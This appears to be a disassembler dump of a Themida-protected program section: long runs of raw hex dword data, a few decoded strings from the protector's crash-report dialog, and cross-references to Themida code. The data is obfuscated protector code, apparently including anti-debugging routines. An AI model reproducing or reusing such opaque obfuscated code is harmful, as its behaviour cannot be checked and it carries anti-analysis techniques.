		dd 72AB6249h, 0B5895EDFh, 7E42735h, 29016A5Fh, 0E4053DBDh
		dd 0E9016A07h, 0Ch, 6504A0A4h, 0F09A4BB5h, 1F72EBFBh, 0F01FF68h
		dd 98D8B00h, 8307E423h,	0E42BFDBDh, 840F0007h, 4Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 42C35343h, 10E8h
		dd 4BDA4700h, 5C9D5E31h, 373EDF12h, 9C7E7AEDh, 0E595336Ch
		dd 5F07E415h, 2C33858Dh, 0BF0F07E7h, 1AE9FAh, 95890000h
		dd 7E40AF9h, 2C09858Dh,	0B6007E7h, 0E4056D9Dh, 618D8B07h
		dd 6107E401h, 0E8F18050h, 7D58050h, 2BD6B5FFh, 0B95207E7h
		dd 2B2CF16Ah, 0C295FF5Ah, 3107E72Bh, 0E41E19BDh, 0FC08507h
		dd 1785h, 68B0F00h, 29000000h, 0E421BD8Dh, 4DE907h, 8D890000h
		dd 7E42561h, 2BDA8589h,	0BF6607E7h, 0B5FF8A70h,	7E72BDAh
		dd 95FF71B6h, 7E41921h,	0D2B7D781h, 0C0856890h,	21850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0A36B7C3h, 6AF5C8C4h, 35952310h, 8307E41Eh
		dd 0E42BFDBDh, 840F0007h, 3Bh, 2C33858Dh, 6A07E7h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0FD345DC3h, 0A83BBDB0h, 0BD891D76h, 7E4089Dh, 32E9h
		dd 9ECA8100h, 8D7DDA32h, 0E72C0985h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 678A4273h
		dd 0F1BD2984h, 5007E41Bh, 0B5FFF38Ah, 7E72BD6h,	0FBBEB6BFh
		dd 0CE95FF3Ah, 2907E72Bh, 0E422359Dh, 0C085F507h, 2A850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0A4F8D2C3h, 80089A73h, 0C2812CD2h, 4646C2B9h
		dd 2BDA8589h, 8D8B07E7h, 7E407A5h, 0AE9006Ah, 26000000h
		dd 3DCB67D7h, 0D137B2C2h, 0C59533D0h, 6A07E420h, 0B5FFFC00h
		dd 7E72BDAh, 1658D2Bh, 95FF07E4h, 7E72BC6h, 0C085D78Bh
		dd 23850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8BD569C3h, 0E4219D95h, 0DAB5FF07h
		dd 0BA07E72Bh, 49D99753h, 192195FFh, 6A07E4h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0BCEA3CC3h
		dd 8C14ABECh, 0FC08584h, 2685h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 15BBA910h
		dd 0BFBFE88Ah, 6A0B206Dh, 0D1952900h, 6807E423h, 80h, 8E9h
		dd 0C7FF9D00h, 0FFA5479Ch, 6AD68B1Fh, 810F03h, 6A000000h
		dd 0FE8B6600h, 0BD89006Ah, 7E41609h, 68h, 50006AC0h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 4550B265h, 7FC7B8FCh, 13E99D30h, 0A1000000h,	0AE2E2EAEh
		dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0B5FFD97Ch,	7E72C52h
		dd 14D9B589h, 95FF07E4h, 7E41FD5h, 0FFFF883h, 56A85h, 6820F00h
		dd 8B000000h, 0E426758Dh, 0C085FF07h, 8307E736h, 0E736C0BDh
		dd 840F0207h, 477h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 92C35747h, 80B2705Dh,	0C2818FC6h, 57623984h
		dd 243B858Dh, 8166005Bh, 0FFB08ECAh, 8D24B6D0h,	5B1E8E85h
		dd 9E800h, 0C9F70000h, 8C310934h, 899E7BB3h, 0E419AD85h
		dd 0D0FF5A07h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	3C35141h, 43484B73h, 24122B48h,	611CD781h, 0C08B18D4h
		dd 818BEA80h, 1C8E36CAh, 0F1BD835Ch, 7E413h, 0BD830975h
		dd 7E40935h, 50197400h,	0B8C08B53h, 7D8h, 14798589h, 9D8D07E4h
		dd 7E6E9F0h, 585BD3FFh,	935BD83h, 740007E4h, 0B8535017h
		dd 7D8h, 14798589h, 9D8D07E4h, 7E6E6DFh, 585BD3FFh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0B9C35747h, 0BF66BF4Dh
		dd 0C08B7AACh, 165DBD8Bh, 3F6807E4h, 6A000F00h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 479C352h, 0B13DC8ACh, 8D8B6D49h, 7E4188Dh, 9D89006Ah
		dd 7E40199h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 63A8FEC3h, 370EFAB4h, 230D95FFh
		dd 0C08507E4h, 0DE8h, 0FED26700h, 9689617Ah, 0E2CBC6FFh
		dd 8960D2F4h, 0E42301BDh, 0BE907h, 5D9F0000h, 154AB9BBh
		dd 0AF4668FCh, 895F6117h, 0E72BD685h, 576DBA07h, 0FF6803D5h
		dd 81000F01h, 5B5A55F1h, 0CA816644h, 0BD83C158h, 7E42BFDh
		dd 4A840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 2DFBC352h, 0A463D86Ch
		dd 0F9286BCh, 680h, 0A98D3300h,	8907E42Fh, 0E43051B5h
		dd 33858D07h, 0F07E72Ch, 41E9CEBFh, 89000000h, 0E40DA99Dh
		dd 9858D07h, 6A07E72Ch,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 4646C353h, 0C76813EDh
		dd 0E0694EAFh, 0E9D3B70Fh, 8, 0F07BFDC1h, 67000B12h, 4D8D0350h
		dd 0FF07E427h, 0E72BD6B5h, 0BDB52907h, 0FF07E422h, 0E72BCE95h
		dd 68B0F07h, 8B000000h,	0E4266995h, 11BD8B07h, 8907E42Eh
		dd 0E72BDA85h, 0DA816607h, 85C72ADDh, 7E41831h,	0
aFGC		db 'fΏ',1Bh,'Νƒ½Ϊ+η',7,0
		db 0Fh
		dd 1E384h, 0B5F56000h, 858D616Bh, 7E72EB8h, 6BEF8166h
		dd 0BD8B5081h, 7E42115h, 6A016Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 8D2920C3h, 7E42165h
		dd 0BE8h, 0B8924E00h, 45D4AF0Dh, 5FBF0D48h, 0E2C494BFh
		dd 0B5FF594Eh, 7E72BDAh, 0D295FFFCh, 107E72Bh, 0E400FD8Dh
		dd 0DAB5FF07h, 0F807E72Bh, 192195FFh, 820F07E4h, 6, 111B529h
		dd 0FF6807E4h, 81000F01h, 0C1F795C9h, 0FDBD835Bh, 7E42Bh
		dd 2A840Fh, 0CE90000h, 3E000000h, 9120E2Fh, 0C00C5A17h
		dd 8D6A3E48h, 0E72C3385h, 2800F07h, 0B2000000h,	5BE95Eh
		dd 0BD8B0000h, 7E4181Dh, 2C09858Dh, 6A07E7h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0D187C3h
		dd 12E9EDh, 0F5200000h,	976E2100h, 0CA97D276h, 0CECE0DD1h
		dd 20A3C49h, 14E9h, 0AAAD4F00h,	0ACAECF6Ch, 4892FEBAh
		dd 5C51CD80h, 27CC0C06h, 6A50C1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F53D24C3h, 6B93487Bh
		dd 0D6B5FF24h, 6A07E72Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 760BC356h, 707E062Eh
		dd 0FC3135ADh, 0A630BF66h, 2BCE95FFh, 6A07E7h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0B868CEC3h, 9E823h, 0A6A60000h, 6E406420h, 6604F380h
		dd 665FCB8Bh, 89FC64BAh, 0E72BDA85h, 55BD2B07h,	8B07E41Dh
		dd 0E40D7D95h, 0DAB5FF07h, 907E72Bh, 0E40125BDh, 0CA95FF07h
		dd 8907E72Bh, 0E426419Dh, 0DAB5FF07h, 8907E72Bh, 0E418159Dh
		dd 2195FF07h, 6607E419h, 4358CA81h, 0FFF6A3E9h,	0E5B529FFh
		dd 0FF07E40Dh, 0E73723B5h, 9CC28107h, 0FF5B6AC8h, 0E4306195h
		dd 91BD8B07h, 8B07E402h, 0E4221585h, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0CCC8D57Ch
		dd 44E98483h, 8B000005h, 0BD8D89F9h, 8D07E406h,	0E72ED8B5h
		dd 0ADB58907h, 107E424h, 0E42EED95h, 0D6858D07h, 2907E6DBh
		dd 0E4159D95h, 99952907h, 0FF07E431h, 93ED80D0h, 0F781006Ah
		dd 2EAE174Ah, 166595FFh, 8B6607E4h, 89F38BCEh, 0E421F5B5h
		dd 0D6858D07h, 8B07E6DBh, 0E4008995h, 29D0FF07h, 0E405F9B5h
		dd 6A006A07h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 7755C350h, 6850FB3h, 89000000h
		dd 0E408ED85h, 6595FF07h, 8B07E416h, 83CA8BC0h,	0E413F1BDh
		dd 9750007h, 935BD83h, 740007E4h, 8B535019h, 7D9B8C0h
		dd 85890000h, 7E41479h,	0E9F09D8Dh, 0D3FF07E6h,	0BD83585Bh
		dd 7E40935h, 50177400h,	7D9B853h, 85890000h, 7E41479h
		dd 0E6DF9D8Dh, 0D3FF07E6h, 9531585Bh, 7E40455h,	99BD8950h
		dd 5A07E401h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0B7AD8AC3h, 50FFB70Fh, 2C698D8Bh
		dd 0CE8B07E4h, 6AD88Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0D5602CC3h, 0B0BA8614h, 29958B30h
		dd 5307E423h, 2E59D8Dh,	38B07E4h, 438B0389h, 50438950h
		dd 36BC9D8Dh, 38B07E7h,	0BF5B0389h, 909A0E4h, 1275BD89h
		dd 6A07E4h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 17h,	0F6C35141h, 0E91EF8BCh,	0Fh, 0ACAECF6Ch, 4892FEBAh
		dd 5C51CD80h, 2BCC0C06h, 0E40D7DBDh, 0BC858D07h, 0B107E736h
		dd 958D89BCh, 5007E42Ah, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 88C35646h, 0A84299AFh, 8951F4B7h, 0E42F919Dh
		dd 89606A07h, 0E43311B5h, 0E5858D07h, 907E402h,	0E42D2985h
		dd 0FB8B5007h, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 9529E7C3h, 7E414E9h, 0B850Fh, 820F0000h
		dd 5, 5C99C8B9h, 89006A5Eh, 0E42299B5h,	18006807h, 8D8B0000h
		dd 7E42639h, 0DE95253h,	0E6000000h, 67661CD9h, 0D6868890h
		dd 96FFE6D6h, 595FF5Fh,	0E907E414h, 8, 51A10BF9h, 0EE2B14E8h
		dd 0F1958960h, 8907E431h, 0E42DE99Dh, 95FF6107h, 7E40971h
		dd 26D5958Bh, 0B5FF07E4h, 7E73723h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 31C35242h, 5882568h, 81B11D9Ch
		dd 89A8E3F7h, 0FBBF0F52h, 0FFD68B66h, 0E4306195h, 0D58D0107h
		dd 8D07E412h, 0E402E585h, 6860F07h, 8B000000h, 0E42689BDh
		dd 18408B07h, 25018D89h, 85C707E4h, 7E4065Dh, 0
		dd 83CFBF0Fh, 0E42BFDBDh, 840F0007h, 41h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 90C35747h, 0B966227Dh
		dd 8C3D43DCh, 0F000000h, 16183h, 20E900h, 8A0F0000h, 9
		dd 3800Fh, 0CD800000h, 983D0Ah,	830F0000h, 142h, 1A858D8Bh
		dd 858D07E4h, 5B243Bh, 191DBD8Bh, 0D0FF07E4h, 8DCBBF0Fh
		dd 5B1E8E85h, 1DBD0900h, 0FF07E419h, 57006AD0h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 8DF2989Dh
		dd 91D2A022h, 69958B9Ch, 8B07E42Ch, 0CBB966C0h,	12E9D2h
		dd 70AD0000h, 98B35BE2h, 0ACC8138h, 159D4132h, 579E1275h
		dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501974h
		dd 0C6B8C08Bh, 8900000Bh, 0E4147985h, 0F09D8D07h, 0FF07E6E9h
		dd 83585BD3h, 0E40935BDh, 17740007h, 0C6B85350h, 8900000Bh
		dd 0E4147985h, 0DF9D8D07h, 0FF07E6E6h, 8B585BD3h, 0E424298Dh
		dd 69BD8907h, 8B07E418h, 0FB8B66C0h, 1CA5B589h,	0F88307E4h
		dd 4C850FFFh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 3DF9C356h, 0F114DEB8h
		dd 0C7F7C680h, 0E42A7585h, 7, 6830F00h,	81000000h, 0A8C5B3E2h
		dd 9AE96Fh, 0BD890000h,	7E41EB1h, 17E9h, 835A5200h, 850F01F8h
		dd 0Ch,	0ABD9523h, 0CCE907E4h, 0F9000000h, 0FFF1DBE9h
		dd 3E24BFFFh, 0C08B39BEh, 1F39958Bh, 0BD8307E4h, 7E413F1h
		dd 83097500h, 0E40935BDh, 19740007h, 0C08B5350h, 7DDB8h
		dd 79858900h, 8D07E414h, 0E6E9F09Dh, 5BD3FF07h,	35BD8358h
		dd 7E409h, 53501774h, 7DDB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh
		dd 5BD3FF07h, 0D3BF0F58h, 0BBB9C08Bh, 891572F4h, 0E41FD9B5h
		dd 26AE907h, 9D890000h,	7E40E4Dh, 34C0858Dh, 6A07E7h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 2F5534C3h, 0CE9BFh, 10A90000h, 0E159774Bh, 24B9CDF8h
		dd 858968F3h, 7E736B8h,	1C51958Bh, 858907E4h, 7E418FDh
		dd 55E9h, 7D8D8900h, 8D07E41Ch,	0E732C885h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0BADA3444h, 0F8DC89Ch, 83h, 7D850100h, 0BF07E416h, 225F77F7h
		dd 459D8940h, 8907E403h, 0E736B885h, 0CEB70F07h, 49AFE981h
		dd 346A304Ch, 30C1858Dh, 0FF5007E4h, 0E736B8B5h, 0FF006A07h
		dd 0E4216195h, 7F88307h, 168840Fh, 8C660000h, 4C3F6DBh
		dd 102850Fh, 85C60000h,	7E42C2Dh, 0B8526856h, 0B5FF9CA8h
		dd 7E4019Dh, 3BDC858Dh,	0D0FF07E4h, 68046Ah, 6A000010h
		dd 0FF006A64h, 2B8589D0h, 0C607E737h, 0E42C2D85h, 9B684707h
		dd 0FFEC18ACh, 0E4019DB5h, 0DC858D07h, 0FF07E43Bh, 8BD0FFD0h
		dd 2D85C6F0h, 4F07E42Ch, 2F266168h, 0E1B5FFC6h,	8D07E40Dh
		dd 0E43BDC85h, 8DD0FF07h, 0E737279Dh, 286A5307h, 85D0FF56h
		dd 0C60075C0h, 0E42C2D85h, 98684107h, 0FFDB8764h, 0E40DE1B5h
		dd 0DC858D07h, 0FF07E43Bh, 448589D0h, 0C607E737h, 0E42C2D85h
		dd 0A4684C07h, 0FF80A4E7h, 0E40DE1B5h, 0DC858D07h, 0FF07E43Bh
		dd 2B9D8BD0h, 8D07E737h, 8D53045Bh, 0E737309Dh,	6A5307h
		dd 9D8BD0FFh, 7E7372Bh,	103C7h,	43C70000h, 20Ch, 219D8B00h
		dd 0C707E418h, 0E4014985h, 7, 6A006A00h, 8B006A00h, 0E7372B9Dh
		dd 6A5307h, 3727B5FFh, 95FF07E7h, 7E73744h, 2C2D85C6h
		dd 684507E4h, 92A5F797h, 1DE1B5FFh, 858D07E4h, 7E43BDCh
		dd 6AD0FFh, 0D0FF026Ah,	0F6DB8C66h, 327504C3h, 372B9D8Bh
		dd 43C707E7h, 0Ch, 6A006A00h, 2B9D8B00h, 5307E737h, 0B5FF006Ah
		dd 7E73727h, 374495FFh,	0B5FF07E7h, 7E73727h, 97195FFh
		dd 6A07E4h, 166595FFh, 0B58907E4h, 7E412D9h, 2BA59589h
		dd 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 2B0173C3h, 664617C5h, 67AF781h, 6AE8858Dh
		dd 6A07E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0FCB37FC3h, 3848BAEEh, 0BA66B3D1h, 0F50E6CAh
		dd 680h, 7BCA8100h, 6453815Ah, 35FFh, 0BD8B0000h, 7E40B99h
		dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0F27BC355h,	0F0B16C3Eh
		dd 5DBD83F8h, 7E401h, 7F840Fh, 958B0000h, 7E40219h, 2015BD83h
		dd 0F0107E4h, 6C85h, 81DE8000h,	3B44BD80h, 0F0007E7h, 5C85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 508CA801h, 5ACF8B52h, 11E9605Fh,	0C0000000h
		dd 276A3E48h, 0B814371Fh, 0FE0CD82Fh, 0EFA4240Ch, 0DE8h
		dd 0DDED8000h, 0AA6492C2h, 6FB12B3Dh, 0F9BE5FB0h, 586BB026h
		dd 1B9E961h, 0B70F0000h, 0BADB33FFh, 1EFB608Ch,	6AC033h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 142B4AC3h, 136FA0Ch,	0E40B9D8Dh, 3F0F4007h, 8F640B07h
		dd 5, 4C48300h,	73826CBAh, 50006A1Ah, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 533EC04h, 0DC6F6D15h
		dd 83F9F976h, 840FFFFBh, 29h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0A6C35747h,	0E9B8CCEFh, 115h
		dd 0A07905BAh, 8CE92Dh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0EA18C7C3h, 0ADD61F80h
		dd 8B46B24Bh, 0C70C244Ch, 0A481h, 0FFFFFF00h, 0B88183FFh
		dd 4000000h, 8BC3C033h,	550C245Ch, 0E8h, 0ED815D00h, 7E76B0Ah
		dd 0B8838Bh, 858D0000h,	7E76BD8h, 0B88389h, 335D0000h
		dd 8166C3C0h, 6A5CFFC9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 8B8AC351h, 6672FB69h
		dd 858DCF8Bh, 7E76B00h,	10E860h, 1B910000h, 0DAD0D8B3h
		dd 0ABE8EEh, 133577C7h,	9D0173B0h, 7E427ADh, 7E959h, 59320000h
		dd 17FA4F96h, 66506115h, 8BF489B9h, 0E417F18Dh,	35FF6407h
		dd 0
		dd 85958Bh, 896407E4h, 25h, 28B0F00h, 0B2000000h, 0AB958h
		dd 4B80000h, 54855D7h, 0DF78164h, 85D465BBh, 0B640BA86h
		dd 0EA810034h, 345FE8h,	68FB81EDh, 75564D58h, 2D85C70Ah
		dd 107E40Eh, 64000000h,	58Fh, 0C4830000h, 0CA8B6604h, 8BC08BF9h
		dd 0E403DD95h, 0F1BD8307h, 7E413h, 0BD830975h, 7E40935h
		dd 50197400h, 0B8C08B53h, 43Dh,	0EED8589h, 9D8D07E4h, 7E6EA57h
		dd 585BD3FFh, 935BD83h,	740007E4h, 0B8535017h, 43Dh, 0EED8589h
		dd 9D8D07E4h, 7E6E6F8h,	585BD3FFh, 2679B529h, 0C08B07E4h
		dd 147E9h, 400h, 392E3100h, 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2D7DBD83h, 0F0007E4h
		dd 12D84h, 0F858D00h, 5007E6E5h, 0E479858Dh, 685007E6h
		dd 80000001h, 0E51F95FFh, 858D07E6h, 7E76C46h, 50858D50h
		dd 5007E76Ch, 6A006Ah, 0E48D858Dh, 0FF5007E6h, 0E6E50FB5h
		dd 0F995FF07h, 8D07E401h, 0E76C4685h, 858D5007h, 7E76C54h
		dd 6A006A50h, 9F858D00h, 5007E6E4h, 0E50FB5FFh,	95FF07E6h
		dd 7E401F9h, 6C46858Dh,	8D5007E7h, 0E76C6085h, 6A5007h
		dd 858D006Ah, 7E6E4ECh,	0FB5FF50h, 0FF07E6E5h, 0E401F995h
		dd 46858D07h, 5007E76Ch, 6C68858Dh, 6A5007E7h, 8D006A00h
		dd 0E6E50A85h, 0B5FF5007h, 7E6E50Fh, 1F995FFh, 858D07E4h
		dd 7E76C46h, 64858D50h,	5007E76Ch, 6A006Ah, 0E4F3858Dh
		dd 0FF5007E6h, 0E6E50FB5h, 0F995FF07h, 8D07E401h, 0E76C4685h
		dd 858D5007h, 7E76C58h,	6A006A50h, 0FB858D00h, 5007E6E4h
		dd 0E50FB5FFh, 95FF07E6h, 7E401F9h, 6C46858Dh, 8D5007E7h
		dd 0E76C5C85h, 6A5007h,	858D006Ah, 7E6E502h, 0FB5FF50h
		dd 0FF07E6E5h, 0E401F995h, 0FB5FF07h, 0FF07E6E5h, 0E4213595h
		dd 0A2E907h, 0BD830000h, 7E41525h, 95840F00h, 83000000h
		dd 0E42015BDh, 850F0007h, 11h, 2D39958Bh, 0C28107E4h, 1CF8h
		dd 0FE9h, 0E5958D00h, 8B07E402h, 0C2813452h, 3BD4C340h
		dd 169D9589h, 0BD8307E4h, 7E4169Dh, 55840F00h, 8B000000h
		dd 0E4169D9Dh, 4CC38307h, 8589038Bh, 7E76C50h, 169D9D8Bh
		dd 0C38307E4h, 89038B50h, 0E76C5485h, 9D9D8B07h, 8307E416h
		dd 38B54C3h, 6C608589h,	9D8B07E7h, 7E4169Dh, 8B58C383h
		dd 64858903h, 8B07E76Ch, 0E4169D9Dh, 5CC38307h,	8589038Bh
		dd 7E76C58h, 2D7DBD83h,	0F0007E4h, 0D85h, 25BD8300h, 7E415h
		dd 68840Fh, 0B5FF0000h,	7E76C68h, 6C5CB5FFh, 0B5FF07E7h
		dd 7E76C58h, 6C64B5FFh,	0B5FF07E7h, 7E76C60h, 6C54B5FFh
		dd 0B5FF07E7h, 7E76C50h, 6C4A858Dh, 8D5007E7h, 0E76C8285h
		dd 858D5007h, 7E43359h,	6995FF50h, 8307E421h, 406A24C4h
		dd 6C6C858Dh, 8D5007E7h, 0E4335985h, 6A5007h, 216195FFh
		dd 16A07E4h, 166595FFh,	0C18B07E4h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 7E77016h
		dd 4C261h, 0FFFFE6E9h
		db 0FFh
aA_2		db '`aΒ',8,0            ; DATA XREF: Themida_:00583A8Co
		dw 0F6E9h
		dd 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h
		dd 60FFFFFFh, 8C261h, 0FFFFF6E9h, 0FFh,	0
		dd 0C3616000h, 0FFFFF8E9h, 4EB58BFFh, 8107E770h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 52B53B00h, 0F07E770h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 169D858Bh, 188607E4h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0DD95FF08h, 5007E419h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 169D858Bh, 0C607E4h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 7E4169Dh,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 7E426B5h,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 0B585C700h, 7E426h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 0F385C700h
		dd 107E76Fh, 50000000h,	244C010Fh, 0F7858FFEh, 8D07E76Fh
		dd 0E76FEF85h, 0F7BD8D07h, 8907E76Fh, 23E938h, 858D0000h
		dd 7E402E5h, 538408Bh, 9B46F317h, 6FEF8589h, 858D07E7h
		dd 7E402E5h, 893C408Bh,	0E76FF385h, 0C858D07h, 8907E770h
		dd 0E419DD85h, 87E907h
		db 2 dup(0)
word_5B970A	dw 8B52h		; DATA XREF: Themida_:00583C68o
		dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh
		db 8, 0
word_5B9732	dw 8B52h		; DATA XREF: Themida_:0058300Co
		dd 728B60D4h, 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh
		db 8, 0
word_5B975A	dw 8B52h		; DATA XREF: Themida_:005841F0o
		dd 535156D4h, 728BDB33h, 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh
		dd 98040000h, 0D8321334h, 4908C3C1h, 850FC90Bh,	0FFFFFFE5h
		dd 595BC38Bh, 8C25A5Eh,	7F858D00h, 8907E772h, 0E417DD85h
		dd 0A7858D07h, 8907E772h, 0E40B8185h, 0CF858D07h, 8907E772h
		dd 0E41D6585h, 12E807h,	41680000h, 7C01EAFBh, 29D36EE5h
		dd 4901A1DBh, 0A900AD9Dh, 26EB8166h, 5E958A5h, 7A000000h
		dd 45114F13h, 5B04C081h, 81660000h, 683252EBh, 1690h, 68B0Fh
		dd 820F0000h, 0
		dd 0E981665Fh, 30FF246Eh, 565AF08Bh, 5BABDF80h,	0FC80F281h
		dd 810F7A38h, 5, 0DEE38166h, 6CC28117h,	506BF8D5h, 5ED3E580h
		dd 0A05DEA81h, 0E6810FC9h, 7B3AD15Eh, 840F1089h, 0Dh, 0AF03BA60h
		dd 8E0F103Dh, 0
		dd 8E88161h, 0E96EEA20h, 14h, 0F4A6F213h, 0D0CE97F6h, 0CE3EC430h
		dd 9E35F8F9h, 0B809610h, 2004C081h, 0C1806EEAh,	850F4F62h
		dd 0FFFFFF8Ah, 6E8h, 3EB98700h,	50BF82E9h, 6060595Bh, 7E9h
		dd 10B40100h, 0BF6D652Ch, 61D98B66h, 8E9h, 9A08DD00h, 8A2B001Fh
		dd 66C08BF6h, 0BD83F38Bh, 7E413F1h, 83097500h, 0E40935BDh
		dd 19740007h, 0C08B5350h, 40EB8h, 79858900h, 8D07E414h
		dd 0E6E9F09Dh, 5BD3FF07h, 35BD8358h, 7E409h, 53501774h
